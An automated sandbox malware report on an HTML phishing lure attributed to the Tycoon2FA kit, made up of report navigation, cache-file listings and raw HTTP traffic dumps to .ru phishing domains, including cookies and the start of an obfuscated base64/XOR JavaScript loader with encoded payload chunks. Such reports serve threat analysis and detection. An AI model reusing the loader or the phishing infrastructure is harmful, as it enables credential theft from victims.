KVoZireYiChYegoG+rg6GyorW1sb2NspyQkbyBv5ims7XAtKysyJnPxYXLy6WNqNexm6u1tZ+2n8yz3uPZmeOkwsncp+yhxu/D0cbRxt/gxcWx5MnKyujNzs/hvsIE8sQE+74LC/v4/gX7yxYNzxAN8xXc0w3+F9Ps9Q7y9QQBEuDqHgEdEeciLessKRAxLvkTDxj0PvEqDxIgHS78BzodOSkEPj0NH0sbQyo+ODQ4FDM3PCdPSTsrRD43QWgkN
2025-03-27 13:34:22 UTC	1065	IN	Data Raw: 69 65 61 4b 4f 6c 57 75 6a 6c 34 52 79 6b 49 75 74 6a 70 5a 32 72 70 4b 5a 72 4d 46 37 68 72 6d 59 67 38 71 61 74 33 2b 38 69 64 47 4a 6e 4c 32 64 70 73 53 33 6f 4a 57 61 73 72 32 55 74 39 7a 59 6f 65 4c 44 72 4a 2f 6b 31 4a 71 36 78 4c 37 64 70 61 37 47 33 4b 6e 74 72 74 32 2f 38 38 62 75 77 76 66 61 36 73 2f 54 31 75 2b 34 77 76 69 37 78 62 6a 50 38 64 72 4a 77 63 65 2f 2b 77 4c 61 78 78 50 6d 41 39 45 45 34 2b 44 4c 7a 50 62 62 35 66 6a 36 44 66 45 65 45 53 58 32 49 67 66 6b 2b 64 77 56 47 2f 67 63 36 52 76 78 4d 43 45 30 41 53 49 58 47 4f 38 53 4d 66 6b 48 46 54 45 35 45 2f 51 62 39 67 55 48 47 42 59 59 41 55 6f 2b 48 79 52 52 44 43 4d 6f 55 56 55 4f 56 7a 64 46 47 6a 56 46 52 69 34 6e 55 55 34 71 4f 30 51 77 48 46 4d 37 4b 43 45 68 58 56 6b 6e 61 6e Data Ascii: ieaKOlWujl4RykIutjpZ2rpKZrMF7hrmYg8qat3+8idGJnL2dpsS3oJWasr2Ut9zYoeLDrJ/k1Jq6xL7dpa7G3Kntrt2/88buwvfa6s/T1u+4wvi7xbjP8drJwce/+wLaxxPmA9EE4+DLzPbb5fj6DfEeESX2Igfk+dwVG/gc6RvxMCE0ASIXGO8SMfkHFTE5E/Qb9gUHGBYYAUo+HyRRDCMoUVUOVzdFGjVFRi4nUU4qO0QwHFM7KCEhXVknan

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Recorded_VM Condenast .html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Windows Analysis Report
Recorded_VM Condenast .html

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:23 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:23 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 27 Mar 2025 13:34:23 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: psDJDBVS1AIJzHzO11U/SbikHhdBhhekfok9pHDtaIqzzSpu5TlUL5VqJI4c6fu57SXub6Mn5mZIHxKXQDjjDA==$4U8it/q1xjp0T5ZLD1Amhg== Server: cloudflare CF-RAY: 926f43d39e7e4334-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:23 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:23 UTC	566	OUT	GET /chai!1s6wuh HTTP/1.1 Host: 4eta8m.ajcffp.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://mgdm.icemiceop.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:23 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mzZpleAK1cin2MJG00Ni4i5Oc33F%2Fqw6%2F%2BplgNPP50LZrYkaK4YfdtQmV4bQoTGvePMJImuPlA7QIKO0CZIk6yI4pb8kBTxA81Y3V4nO2XtLTKXsg8DlpJ41qhZPdpFekrRA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926f43d43f3cf3ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83915&min_rtt=83784&rtt_var=17872&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1138&delivery_rate=36308&cwnd=252&unsent_bytes=0&cid=d3016ed5c67d9ffb&ts=786&x=0"
2025-03-27 13:34:23 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-27 13:34:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:24 UTC	1453	OUT	POST /mxkBWWeN9hECFQlpLe9bnBz2 HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive Content-Length: 1711 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRAcE3FZj3s5XUPkK sec-ch-ua-mobile: ?0 Accept: / Origin: https://mgdm.icemiceop.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ZwM7s15/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkJrK1lKS0NxRkIwTmVqbW5jT2U0TFE9PSIsInZhbHVlIjoid0RzT1lOak5iTC9Bd0ZpZ3YyRXNTeGZaSjJEbXZIMWNreGFqTVFzaXhLK0pBTTZ0eE1rbHZ0ZHVVUGc4SWpHL0ZCYkVTcTNMMDFoRFBLck80UnpBTnM1SVdnWXZxSy8yNTRvYUczVFFYa1dVcHgzZHMydzBGZUNaeWlGNE1Bd00iLCJtYWMiOiI5Zjc2NTRiYjBkY2NhZDFkODU5YjYwYjYwYjNjYzYzZTJmNjczODVhOWNiYjhmYTQwOGEwYzkwZTQ5ZmQxOTM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InF1ODF5Sm44N2hubDFEalVxTnJMdHc9PSIsInZhbHVlIjoiNkwydW9zSkl4RVRzYkdHWEE1UWlqWSs2WnRsWk9aWHZnQU5UeXJvTHBEenhqQ3NPQko0N2kzeUJwNDU3S2VyTm11TTZsTndwMFlkWk01a3ZVLzNlczZkZEhGSFp2Wjc5aTROZHc1ajhxV3U5MlJZQlFpNlZzcEc0WWNqYVZuaHYiLCJtYWMiOiI4YjIzZjdhZjM3YTNiY2NkNWJiZjE0MjI0ZWE0NTcyODQzOGIxOGQ1MzNhODM2NzY4YmJhMjA0MjU2NDMyOTdmIiwidGFnIjoiIn0%3D
2025-03-27 13:34:24 UTC	1711	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 52 41 63 45 33 46 5a 6a 33 73 35 58 55 50 6b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 67 32 43 69 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 52 41 63 45 33 46 5a 6a 33 73 35 58 55 50 6b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 38 67 72 73 51 4b 4b 57 59 74 6c 53 41 33 72 6d 58 6a 6e 34 55 41 48 75 6e 66 4c 72 43 4f 6d 33 35 70 4f 55 52 50 32 6b 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 52 41 63 45 33 Data Ascii: ------WebKitFormBoundaryRAcE3FZj3s5XUPkKContent-Disposition: form-data; name="bltpg"g2Ci------WebKitFormBoundaryRAcE3FZj3s5XUPkKContent-Disposition: form-data; name="sid"8grsQKKWYtlSA3rmXjn4UAHunfLrCOm35pOURP2k------WebKitFormBoundaryRAcE3
2025-03-27 13:34:24 UTC	1181	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SXeykz9SAZQ9u1HBn2zeLKaHN%2BGQXK7BYR1JfwFXkhlpM7Ei8uX51lDB3QhlxX4rE%2BKdC3emtkdJ3uu0jqZGMudo2SyejS0IINWxZZWmLQ1FHDdC0Wcw5KprmMqvFcSAAjyY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10408&min_rtt=10243&rtt_var=3959&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=4079&delivery_rate=278043&cwnd=251&unsent_bytes=0&cid=ca6bd532b304dc2a&ts=235&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im9SM0h5WXlDT0lLQm9aN3BaeFR0emc9PSIsInZhbHVlIjoieUJSNGRnNEFVdEZPK0tOanB6S2syYTVjMlVKaHpZMnY0SzV4Sks3R0k5NjQyNk5VM1N6c2lNdUFVZGRFQ1dManFnMlUxUmVreFFaQWJ6Z29sSGorVFBUTTR6eFpWYm1PWU9xbER4UlpPVWhna0tiSFRuUGk0dFNPM0w3R1BWTisiLCJtYWMiOiIzMzFlOWY2OWE4MjQ3YjAyMDRmNjJkMTg3NGYwMGU5NzViMzcyNDMyOGJlNzFiNjg5MWNjMWE4YmVlOWZiMzdjIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 15:34:24 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-27 13:34:24 UTC	788	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4a 78 52 6a 6c 76 56 31 5a 48 61 56 59 76 4d 46 42 4e 65 56 55 32 65 47 59 77 57 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6b 78 50 4d 31 52 76 55 44 4a 53 63 6a 56 6c 51 30 74 69 63 47 64 6c 51 30 63 76 65 48 64 6a 64 58 6c 45 65 6e 63 35 5a 55 6f 79 52 6b 70 57 51 58 68 73 5a 57 70 6a 5a 7a 4e 30 62 7a 6c 6a 57 48 52 4c 4e 56 59 72 65 6d 46 6f 56 47 68 46 57 48 46 56 55 45 74 51 4e 44 46 47 56 7a 59 33 65 6c 63 72 4f 58 42 36 4e 55 70 61 64 31 63 79 65 55 68 61 52 7a 56 4d 56 6b 56 6e 62 48 68 32 65 44 4e 5a 56 7a 5a 78 5a 7a 52 70 53 6c 70 30 4e 56 52 53 53 7a 42 31 59 56 56 45 63 57 52 79 53 6e 5a 56 5a 6b 67 76 55 6b 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InJxRjlvV1ZHaVYvMFBNeVU2eGYwWkE9PSIsInZhbHVlIjoickxPM1RvUDJScjVlQ0ticGdlQ0cveHdjdXlEenc5ZUoyRkpWQXhsZWpjZzN0bzljWHRLNVYremFoVGhFWHFVUEtQNDFGVzY3elcrOXB6NUpad1cyeUhaRzVMVkVnbHh2eDNZVzZxZzRpSlp0NVRSSzB1YVVEcWRySnZVZkgvUks
2025-03-27 13:34:24 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-27 13:34:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:24 UTC	391	OUT	GET /chai!1s6wuh HTTP/1.1 Host: 4eta8m.ajcffp.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:25 UTC	817	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6flYe2hf9vdX9wTpVup%2BVbLhhEcOVF6DeU9qHoYbO6yGSlzAIObbXIPfjsP45s5SLLRC%2BkAQJYhRl8aDhhtXHVfeUiP4HMdgF3VJyEPPzE0xEz9JAJfBD59R3AD1HpU8nhq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926f43daca84434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83295&min_rtt=83204&rtt_var=17623&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=963&delivery_rate=36723&cwnd=252&unsent_bytes=0&cid=602e08152768252b&ts=770&x=0"
2025-03-27 13:34:25 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-27 13:34:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:24 UTC	1508	OUT	GET /ZwM7s15/ HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ZwM7s15/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9SM0h5WXlDT0lLQm9aN3BaeFR0emc9PSIsInZhbHVlIjoieUJSNGRnNEFVdEZPK0tOanB6S2syYTVjMlVKaHpZMnY0SzV4Sks3R0k5NjQyNk5VM1N6c2lNdUFVZGRFQ1dManFnMlUxUmVreFFaQWJ6Z29sSGorVFBUTTR6eFpWYm1PWU9xbER4UlpPVWhna0tiSFRuUGk0dFNPM0w3R1BWTisiLCJtYWMiOiIzMzFlOWY2OWE4MjQ3YjAyMDRmNjJkMTg3NGYwMGU5NzViMzcyNDMyOGJlNzFiNjg5MWNjMWE4YmVlOWZiMzdjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJxRjlvV1ZHaVYvMFBNeVU2eGYwWkE9PSIsInZhbHVlIjoickxPM1RvUDJScjVlQ0ticGdlQ0cveHdjdXlEenc5ZUoyRkpWQXhsZWpjZzN0bzljWHRLNVYremFoVGhFWHFVUEtQNDFGVzY3elcrOXB6NUpad1cyeUhaRzVMVkVnbHh2eDNZVzZxZzRpSlp0NVRSSzB1YVVEcWRySnZVZkgvUksiLCJtYWMiOiIxODlkNjgzZDgwZTFjNzA2OTQzNThiODYwNzY3NGQ3MzAyY2IyNDQzZTA2YTk3NDUyNzUwMTQ2ZDA3NzQ4NzU2IiwidGFnIjoiIn0%3D
2025-03-27 13:34:25 UTC	1214	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDfG4Wt3nMizb88leF%2BurBlaLxFXH%2Ba1wsif2DR1u0d7xLJYLVJ877mAYBuziaf0EjqMW8nacMC%2FjWnxYO2xccKAOIK7fCTr2s7ldG1uVlNfBDSoGRJkwUm3wbhji9KThUSc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10310&min_rtt=10204&rtt_var=3902&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2412&delivery_rate=279106&cwnd=252&unsent_bytes=0&cid=14e5bedb7a7a98fd&ts=240&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InpVczJiNW9zZ1NOMk1jS01vdWRlWUE9PSIsInZhbHVlIjoic3BDTDlxSEJQcEZtTTFjTGt6L3lDTUhuVXV4SVpOT0ZMaHljN3ZuUGN0MlNsalFWbEN6c3I5bWFKdU1JWFgwSDBjT0w0dXBsZXR2S3ViaU5BRHdtYUdBQW9JNWJMS0N5c0IxUk1QOFpZYXQ1RlMzb090eHRiYVc3ZHpuUzNDZ0MiLCJtYWMiOiIxNmU2NDQ4MTQwNzYyMzNmNmEwZTRkNTZjNWIxMjg0OTZkNDE4YWY0NzgwZTdkM2VkMmE4YmU4ZGZkNTI3YTI1IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 15:34:25 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-27 13:34:25 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4d 79 61 55 56 7a 62 6e 4a 4c 53 56 56 58 62 6e 42 45 64 6c 42 51 53 6d 39 58 59 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 7a 6b 35 62 6d 46 61 5a 55 74 30 65 45 5a 52 62 55 70 61 63 58 46 45 51 55 4e 59 52 30 4e 7a 63 6d 67 72 61 7a 64 6d 53 33 4a 79 54 43 39 42 57 45 77 33 55 31 70 53 5a 6a 4a 61 54 30 78 4b 4d 6d 73 32 4d 57 46 36 52 30 49 32 62 6a 59 78 5a 33 4a 33 53 32 6b 30 4e 31 5a 35 59 6a 55 33 55 45 38 77 64 46 70 4a 56 45 6c 44 63 33 70 79 55 45 56 33 54 31 55 31 4d 43 74 55 54 32 78 42 4b 7a 56 47 54 6b 46 71 56 6e 42 74 62 54 5a 30 56 43 39 54 57 48 59 76 52 46 56 53 65 6d 64 58 4b 31 56 73 4d 44 56 4a 4f 58 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlMyaUVzbnJLSVVXbnBEdlBQSm9XYVE9PSIsInZhbHVlIjoibzk5bmFaZUt0eEZRbUpacXFEQUNYR0NzcmgrazdmS3JyTC9BWEw3U1pSZjJaT0xKMms2MWF6R0I2bjYxZ3J3S2k0N1Z5YjU3UE8wdFpJVElDc3pyUEV3T1U1MCtUT2xBKzVGTkFqVnBtbTZ0VC9TWHYvRFVSemdXK1VsMDVJOXg
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 34 36 63 36 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 63 79 4e 5a 58 70 4f 4a 79 28 64 6d 77 53 55 4d 62 54 56 54 2c 20 63 42 71 4b 6c 72 51 59 66 49 29 20 7b 0d 0a 6c 65 74 20 4a 41 4b 55 67 41 65 54 56 65 20 3d 20 27 27 3b 0d 0a 64 6d 77 53 55 4d 62 54 56 54 20 3d 20 61 74 6f 62 28 64 6d 77 53 55 4d 62 54 56 54 29 3b 0d 0a 6c 65 74 20 4e 6e 43 71 76 57 79 64 72 73 20 3d 20 63 42 71 4b 6c 72 51 59 66 49 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 64 6d 77 53 55 4d 62 54 56 54 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 4a 41 4b 55 67 41 65 54 56 65 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 64 6d 77 53 55 4d 62 54 56 54 2e 63 68 61 72 43 Data Ascii: 46c6<script>function dcyNZXpOJy(dmwSUMbTVT, cBqKlrQYfI) {let JAKUgAeTVe = '';dmwSUMbTVT = atob(dmwSUMbTVT);let NnCqvWydrs = cBqKlrQYfI.length;for (let i = 0; i < dmwSUMbTVT.length; i++) { JAKUgAeTVe += String.fromCharCode(dmwSUMbTVT.charC
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 43 44 52 52 33 4c 44 30 64 45 67 46 44 43 69 63 42 56 43 42 6f 45 53 6f 52 48 41 46 43 50 33 73 52 49 78 30 4e 48 67 45 5a 4d 77 4a 66 4a 67 38 33 4c 42 45 31 42 55 49 2f 64 78 70 70 4d 42 4a 37 41 52 51 6c 47 56 51 4b 47 54 67 39 41 6a 45 52 45 7a 39 77 41 6a 30 77 47 51 6c 46 47 54 4d 34 41 79 41 33 44 6d 77 43 4f 67 49 4e 45 6d 51 57 4b 54 41 53 42 52 30 78 49 79 77 44 44 44 4d 37 61 69 67 63 42 68 67 36 63 41 45 6f 49 77 49 6e 4e 6a 4a 47 4a 46 38 4d 4d 7a 68 70 42 54 45 53 54 54 70 79 63 78 45 77 47 51 6f 56 47 54 63 33 56 41 6f 5a 4f 44 30 43 4d 52 45 54 45 30 6f 42 4d 42 30 53 41 51 45 66 48 54 51 44 49 44 51 76 4e 67 63 78 45 67 34 58 64 43 38 33 48 52 34 6b 46 54 51 38 50 41 49 5a 43 51 34 39 4b 6b 41 47 51 53 63 42 65 6a 45 6a 44 69 51 56 48 67 Data Ascii: CDRR3LD0dEgFDCicBVCBoESoRHAFCP3sRIx0NHgEZMwJfJg83LBE1BUI/dxppMBJ7ARQlGVQKGTg9AjEREz9wAj0wGQlFGTM4AyA3DmwCOgINEmQWKTASBR0xIywDDDM7aigcBhg6cAEoIwInNjJGJF8MMzhpBTESTTpycxEwGQoVGTc3VAoZOD0CMRETE0oBMB0SAQEfHTQDIDQvNgcxEg4XdC83HR4kFTQ8PAIZCQ49KkAGQScBejEjDiQVHg
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 45 67 55 65 48 77 4e 47 65 41 6f 5a 4f 44 30 43 4f 6d 41 36 4e 56 31 7a 4b 6a 59 74 65 7a 6b 4b 4d 30 39 5a 4a 77 31 49 4e 69 6b 63 41 51 45 76 5a 42 45 78 4b 77 49 52 48 6a 49 61 4a 48 34 69 41 6a 64 71 45 53 56 6c 47 42 56 61 4a 44 51 67 61 48 49 48 4e 44 4d 67 42 79 63 64 53 44 59 70 48 41 55 61 4f 6e 41 42 4e 78 30 4e 66 68 67 30 4d 78 70 46 49 54 4d 52 4e 69 38 66 42 67 45 53 63 43 67 39 48 43 31 37 4f 52 6b 33 4e 31 51 4b 48 53 39 6f 45 53 56 6c 52 44 70 64 41 53 4d 6a 41 68 45 65 4d 68 6f 6b 64 68 6b 4e 49 7a 49 76 4a 53 68 45 50 58 41 6f 62 54 30 4c 4a 42 55 5a 4e 7a 64 55 49 44 63 76 61 69 38 71 47 67 45 2f 64 42 6b 79 47 78 49 46 48 68 38 44 52 6e 67 6c 43 52 4a 74 44 79 4d 67 4f 43 4e 32 44 52 59 61 4d 53 4d 77 43 69 77 65 5a 77 6f 65 53 54 30 Data Ascii: EgUeHwNGeAoZOD0COmA6NV1zKjYtezkKM09ZJw1INikcAQEvZBExKwIRHjIaJH4iAjdqESVlGBVaJDQgaHIHNDMgBycdSDYpHAUaOnABNx0Nfhg0MxpFITMRNi8fBgEScCg9HC17ORk3N1QKHS9oESVlRDpdASMjAhEeMhokdhkNIzIvJShEPXAobT0LJBUZNzdUIDcvai8qGgE/dBkyGxIFHh8DRnglCRJtDyMgOCN2DRYaMSMwCiweZwoeST0
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 43 63 64 48 69 6b 43 4e 54 77 42 46 32 73 52 4b 69 41 4e 50 41 59 7a 52 6a 68 62 49 52 30 73 59 77 59 68 5a 41 4d 2f 57 58 63 52 4d 42 6b 4b 53 6a 51 7a 47 67 4d 68 48 53 78 78 48 54 55 47 48 68 64 77 41 51 34 62 61 44 4e 44 4e 44 4d 61 52 53 45 30 4e 44 30 48 49 52 49 2b 46 46 35 32 4c 42 30 33 44 55 49 78 49 30 4e 64 43 68 49 72 4e 52 45 68 45 6a 4d 53 61 78 46 72 47 6a 63 65 53 68 78 48 4a 45 4d 6e 48 51 45 32 47 78 55 2f 45 7a 39 33 4f 79 41 64 45 69 63 42 43 69 42 43 65 41 6f 5a 4f 44 30 43 4e 52 6f 43 4c 48 73 6f 50 52 77 74 4a 42 55 5a 4e 7a 64 55 43 68 6b 37 4e 79 6c 41 5a 55 51 36 5a 42 6b 79 47 77 30 6e 41 54 55 67 47 56 51 53 41 6a 4d 71 45 69 55 6e 42 7a 39 37 44 54 49 62 4e 41 59 47 4d 30 59 67 53 69 49 4e 49 47 30 49 47 78 45 54 50 33 41 43 Data Ascii: CcdHikCNTwBF2sRKiANPAYzRjhbIR0sYwYhZAM/WXcRMBkKSjQzGgMhHSxxHTUGHhdwAQ4baDNDNDMaRSE0ND0HIRI+FF52LB03DUIxI0NdChIrNREhEjMSaxFrGjceShxHJEMnHQE2GxU/Ez93OyAdEicBCiBCeAoZOD0CNRoCLHsoPRwtJBUZNzdUChk7NylAZUQ6ZBkyGw0nATUgGVQSAjMqEiUnBz97DTIbNAYGM0YgSiINIG0IGxETP3AC
